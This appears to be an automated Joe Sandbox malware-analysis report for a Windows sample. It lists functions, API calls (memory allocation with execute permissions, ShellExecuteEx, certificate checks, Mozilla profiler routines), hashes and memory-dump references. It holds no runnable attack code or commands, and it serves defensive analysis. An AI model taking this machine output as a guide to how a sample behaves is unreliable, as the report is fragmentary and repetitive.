Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 597490ed2f6464f9473ca57c59637f084a1fbc04648e0920d1303dcf9793bf7e
Instruction ID: bfbf7ad42704f974c4c5337f11569c9a3d0ed786b37fec7911465940b574e063
Opcode Fuzzy Hash: 597490ed2f6464f9473ca57c59637f084a1fbc04648e0920d1303dcf9793bf7e
Instruction Fuzzy Hash: 10F090B1944208EBCB10EB84ED85FEAF7BDFB48B10F00466AE90592280DB746904CBA5

Function 00686FD0 Relevance: 2.6, APIs: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040), ref: 00687021
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 00687055

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fb948bc545504b6699e70a4fee9c872b0166a5dc693864137a9cf2b5c7e97e7d
Instruction ID: 249a0be964b46fc577ffd07b0d8c204e875779a6a5bc2450b5f7deeb596d9ba0
Opcode Fuzzy Hash: fb948bc545504b6699e70a4fee9c872b0166a5dc693864137a9cf2b5c7e97e7d
Instruction Fuzzy Hash: 5211B6B1344B059BD334DFB9DC81BE6B7E6AB84718F24462DEA5DC7390E676E8808704

Function 00687450 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9457a7830e418bcf9a73855e36af004329c873e9fcfd707e706863d0891cd22a
Instruction ID: cf54c054c28e82b95ce4f9cc1a99b63a01ef6666173daa7bf0f52dfb3d44300e
Opcode Fuzzy Hash: 9457a7830e418bcf9a73855e36af004329c873e9fcfd707e706863d0891cd22a
Instruction Fuzzy Hash: 813150B0E042159BDB24EF59D8447AEB7F6EF84350F2082A9E918D7351EB30DD018F92

Function 00687390 Relevance: 1.6, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,?), ref: 00687405

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 341db4e0e38a9e7cd90f9ece96eb65aa1de5351ae803a0b5881595c85b441eb0
Instruction ID: a23cd03664499780b8c81cc72c7ae1c56847711bccaf74f1e1f3ad06a91413d6
Opcode Fuzzy Hash: 341db4e0e38a9e7cd90f9ece96eb65aa1de5351ae803a0b5881595c85b441eb0
Instruction Fuzzy Hash: 7711827261C1599BD724EF99D8807A5F3EAFB08300F20076AE949C7640E675EC51E792

Function 0069C649 Relevance: 1.5, APIs: 1, Instructions: 35stringCOMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 0069C654
lstrcpy.KERNEL32(00000000,00000000), ref: 0069C77B
lstrcpy.KERNEL32(00000000,?), ref: 0069C7A4

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteShell
String ID:
API String ID: 599948387-0
Opcode ID: ac8fd2c5a90697288a8305fa94b0be521ad91e5a4e1fa70cbb13fb39e945fb09
Instruction ID: 476979dca776f5912841ae07d5608ce4c0afe6d0cb1ca41b4144131ea58e05a4
Opcode Fuzzy Hash: ac8fd2c5a90697288a8305fa94b0be521ad91e5a4e1fa70cbb13fb39e945fb09
Instruction Fuzzy Hash: 45F0E23131020687CF65FF7AE8C21AE739AEF29314F106A39E807CB212D624C80683C8

Function 006A4210 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0068E336), ref: 006A4218

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a48bec956339a2f59d78b949d8e00839e965b3cdcaf3880055516c2d9d89909b
Instruction ID: 2cdd1311d9499c4a6cd5708041f1c5d0b87ae7f141414021941bc08863d62c8d
Opcode Fuzzy Hash: a48bec956339a2f59d78b949d8e00839e965b3cdcaf3880055516c2d9d89909b
Instruction Fuzzy Hash: 9DE08C727001285B8B10BAEDE8446DAB799DF0A7B1B400221FA0CCB281C720ED4147D0

Function 00688FC0 Relevance: 1.3, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020), ref: 00688FC9

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8ffb5b526cbeaf702a4ff1e0444bc7e1a60e6da1985e93862cc2c3ed67c094e3
Instruction ID: d29da08f0c4e9356b2228cd605260e3c2f6ad9fdf9747899ce42617b47b8e082
Opcode Fuzzy Hash: 8ffb5b526cbeaf702a4ff1e0444bc7e1a60e6da1985e93862cc2c3ed67c094e3
Instruction Fuzzy Hash: 163130B1901204EFD750EF65EC459AB7FBDFB95310B14426EB90883361EEB0E900CBA5

Function 00688C00 Relevance: 1.3, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00000000,00000000,?,00000000,?,?,00000000), ref: 00688CBD

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 623a247c88043777d7b62864f25188eaddd9d75c904c859a835c3f043b87f74c
Instruction ID: b74a57df8b2c9fa3a6254fbb44e7f683e0179d82d42ba5adb5dcc824c070c844
Opcode Fuzzy Hash: 623a247c88043777d7b62864f25188eaddd9d75c904c859a835c3f043b87f74c
Instruction Fuzzy Hash: 16319571A01614DFCB18DF18C8806AABBA6FF45320F50476AEC265B3D9DB709D01CBE1

Function 0069EFC0 Relevance: 1.3, APIs: 1, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0069EFF2

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 93bcdcf3e995b658026296c91172d29de7342c72bfd40d5bd45d536b5396ec9f
Instruction ID: 27be25d961b264b75cec1dd88a543c4f1e13d129207de59ec5cbfd1cac46012c
Opcode Fuzzy Hash: 93bcdcf3e995b658026296c91172d29de7342c72bfd40d5bd45d536b5396ec9f
Instruction Fuzzy Hash: 4D11E5702201465BCB79FF69EC96ADE37E6EF54340F405228B8498B251DB34ED058795

Non-executed Functions

Function 6C465440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C465492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4654BE
__Init_thread_footer.LIBCMT ref: 6C4654DB

Part of subcall function 6C48AB3F: EnterCriticalSection.KERNEL32(6C4DE370,?,?,6C453527,6C4DF6CC,?,?,?,?,?,?,?,?,6C453284), ref: 6C48AB49
Part of subcall function 6C48AB3F: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C453527,6C4DF6CC,?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48AB7C

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C465516
GetCurrentThreadId.KERNEL32 ref: 6C46556A
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C465577
moz_xmalloc.MOZGLUE(00000070), ref: 6C465585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C465590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4655E6
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C465606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C465616

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

GetCurrentThreadId.KERNEL32 ref: 6C46563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C465646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C46567C
free.MOZGLUE(?), ref: 6C4656AE

Part of subcall function 6C475E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
Part of subcall function 6C475E90: memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
Part of subcall function 6C475E90: LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4656E8
GetCurrentThreadId.KERNEL32 ref: 6C465707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C46570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C465729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C46574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C46576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C465796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4657CA

Strings

MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C465749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4654B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C465766
GeckoMain, xrefs: 6C465554, 6C4655D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4654A3
MOZ_PROFILER_STARTUP, xrefs: 6C4655E1
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C465724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C465AC9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4656E3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4657AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C46548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C465C56
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C465791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C46584E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C465BBE
[I %d/%d] profiler_init, xrefs: 6C46564E
MOZ_BASE_PROFILER_HELP, xrefs: 6C465511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C465D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C465D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C465717
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C465B38
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4657C5
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C465CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C465D01
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C465D24

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 472872d830e22d1345be7f7614ac6370351fed8b242baf28758b50a940630914
Instruction ID: 4d36e9bfb2a0299a18bff601612a0e6a816fa27a8499ccf4ca7294128d34e4b3
Opcode Fuzzy Hash: 472872d830e22d1345be7f7614ac6370351fed8b242baf28758b50a940630914
Instruction Fuzzy Hash: 22220270A043409FEB01FF668858F5ABBB5AF4634DF04462DE84A87F46EB31E444CA93

Function 6C466C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C466CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C466D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C466D26

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C466D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C466D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C466D73
free.MOZGLUE(00000000), ref: 6C466D80
CertGetNameStringW.CRYPT32 ref: 6C466DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C466DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C466DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C466DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C466E10
CryptMsgClose.CRYPT32(00000000), ref: 6C466E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C466E34
CreateFileW.KERNEL32 ref: 6C466EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C466F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C466F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C46709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C467103
free.MOZGLUE(00000000), ref: 6C467153
CloseHandle.KERNEL32(?), ref: 6C467176
__Init_thread_footer.LIBCMT ref: 6C467209
__Init_thread_footer.LIBCMT ref: 6C46723A
__Init_thread_footer.LIBCMT ref: 6C46726B
__Init_thread_footer.LIBCMT ref: 6C46729C
__Init_thread_footer.LIBCMT ref: 6C4672DC
__Init_thread_footer.LIBCMT ref: 6C46730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4673C2
VerSetConditionMask.NTDLL ref: 6C4673F3
VerSetConditionMask.NTDLL ref: 6C4673FF
VerSetConditionMask.NTDLL ref: 6C467406
VerSetConditionMask.NTDLL ref: 6C46740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C46741A
moz_xmalloc.MOZGLUE(?), ref: 6C46755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C467568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C467585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C467598
free.MOZGLUE(00000000), ref: 6C4675AC

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C4672C8
(, xrefs: 6C46768A
SHA256, xrefs: 6C466EC0
wintrust.dll, xrefs: 6C4672CD

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 99c9d6e9a0b30ea1fd567da44d0df2b989b745c9ca5adb726bee966f378b7773
Instruction ID: b799e4398ba7ec1795907a789c29a5cbf181074f78e24ba04db964826edabf1b
Opcode Fuzzy Hash: 99c9d6e9a0b30ea1fd567da44d0df2b989b745c9ca5adb726bee966f378b7773
Instruction Fuzzy Hash: C852C3B1A052149BEB21EF25CC84FAA77B8EF45708F104199E909A7B40DB70BF85CF91

Function 6C4B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B36CD
